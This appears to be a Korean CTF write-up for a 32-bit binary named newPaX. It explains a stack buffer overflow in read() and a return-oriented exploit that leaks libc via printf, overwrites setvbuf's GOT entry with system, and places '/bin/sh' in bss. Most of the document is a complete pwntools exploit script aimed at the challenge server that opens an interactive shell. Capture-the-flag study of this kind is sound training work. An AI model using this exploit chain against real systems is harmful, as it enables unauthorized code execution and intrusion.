요약
•
취약점 : read 함수에서 발생하는 stack bof
1. 문제
1) mitigation 확인
32비트 바이너리이다. 카나리와 pie가 안걸려있다.
2) 문제 확인
바로 입력을 받고 끝난다.
3) 코드흐름 파악
int __cdecl main(int argc, const char **argv, const char **envp)
{
nvm_init();
nvm_timeout();
vuln();
return 0;
}
int nvm_init()
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
ssize_t vuln()
{
char buf; // [esp+8h] [ebp-30h]
return read(0, &buf, 0xC8u);
}
C
복사
메인에서 타임아웃 세팅을 하고 vuln() 함수를 호출한다. vuln에서는 read로 buf에 입력을 받는데, buf 사이즈를 넘어서 입력을 받으므로 bof가 발생한다.
2. 접근방법
rop를 진행하면 된다. printf 함수 plt가 존재하기 때문에, setbuf got를 인자로 하여 printf 를 호출해 leak을 진행했다. 처음엔 libc 주소를 leak하고, system('/bin/sh')가 호출되게 했는데, 서버가 반응이 느린건지 뭔가 자꾸 에러가 터졌다.
두번째 시도로는, nvm_init() 함수에서 setvbuf가 존재하므로, setvbuf의 got를 시스템 함수로 덮고, stdout에 '/bin/sh'를 넣었다. 근데 이것도 안돼서 분석해보니
.text:080485C0 ; __unwind {
.text:080485C0 push ebp
.text:080485C1 mov ebp, esp
.text:080485C3 push ebx
.text:080485C4 sub esp, 4
.text:080485C7 call __x86_get_pc_thunk_bx
.text:080485CC add ebx, 1A34h
.text:080485D2 mov eax, ds:(stdout_ptr - 804A000h)[ebx]
.text:080485D8 mov eax, [eax]
.text:080485DA push 0 ; n
.text:080485DC push 2 ; modes
.text:080485DE push 0 ; buf
.text:080485E0 push eax ; stream
.text:080485E1 call _setvbuf
C
복사
stdout를 bin_sh로 덮어도, 저 함수에서 stdout,stdin,stderr 를 찾는다는걸 확인했다.
따라서 마지막으로 setvbuf_got를 시스템 주소로 덮고, bss영역에다가 'bin_sh'를 넣었다. 그다음 libc 안에 있는 가젯중 pop eax, ret;를 호출한뒤, eax에 bin_sh가 들어있는 bss 주소를 넣고, 위 빨간색 영역으로 가게끔 했다.
그럼 push eax를 통해 bin_sh 주소를 인자로하여 setvbuf가 호출되고, 결국 시스템 함수가 호출된다.
3. 풀이
from pwn import *
context(log_level='DEBUG')
#p=process('./newPaX',env={'LD_PRELOAD':'./libc6-i386_2.27-3ubuntu1.2_amd64.so'})
p=remote('pwn.darkarmy.xyz',5001)
#gdb.attach(p)
pause()
print_plt=0x8048400
setvbuf_got=0x804a024
setvbuf_plt=0x8048450
read_plt=0x80483f0
read_got=0x804a00c
pr=0x080483d1
pppr=0x08048729
main_=0x08048656
stdout=0x001d5ea0
#leak
pay="A"*0x34
pay+=p32(print_plt)
pay+=p32(pr)
pay+=p32(setvbuf_got)
pay+=p32(main_)
pause()
#for bin_sh
ff=0x0804A028
p.sendline(pay)
leak=u32(p.recv(4))
log.info(hex(leak))
libc_base=leak-0x067b30
log.info('libcbase::'+hex(libc_base))
libc_stdout=libc_base+stdout
system_=libc_base+0x03cd80
lic_pr=0x00024a97
log.info('stdout::'+hex(libc_stdout))
sleep(6)
libc_pppr=libc_base+0x0002e119
# setvbuf_got overwrite
pay="A"*0x34
pay+=p32(read_plt)
pay+=p32(pppr)
pay+=p32(0)
pay+=p32(setvbuf_got)
pay+=p32(8)
pay+=p32(main_)
sleep(4)
pause()
p.sendline(pay)
pause()
p.sendline(p32(system_))
# setting bin_sh -> for push eax
pay="A"*0x34
pay+=p32(read_plt)
pay+=p32(pppr)
pay+=p32(0)
pay+=p32(ff)
pay+=p32(8)
pay+=p32(libc_base+lic_pr)
pay+=p32(ff)
pay+=p32(0x080485E0)
p.sendline(pay)
sleep(1)
pause()
p.sendline('/bin/sh\x00')
# go to push eax in nvm_init()
pay="A"*0x34
pay+=p32(0x080485D2)
p.sendline(pay)
p.interactive()
C
복사
4. 몰랐던 개념
모르는 개념은 없었는데 서버 반응이 느려서 그런지 아닌지 모르겠지만 삽질을 꽤 했..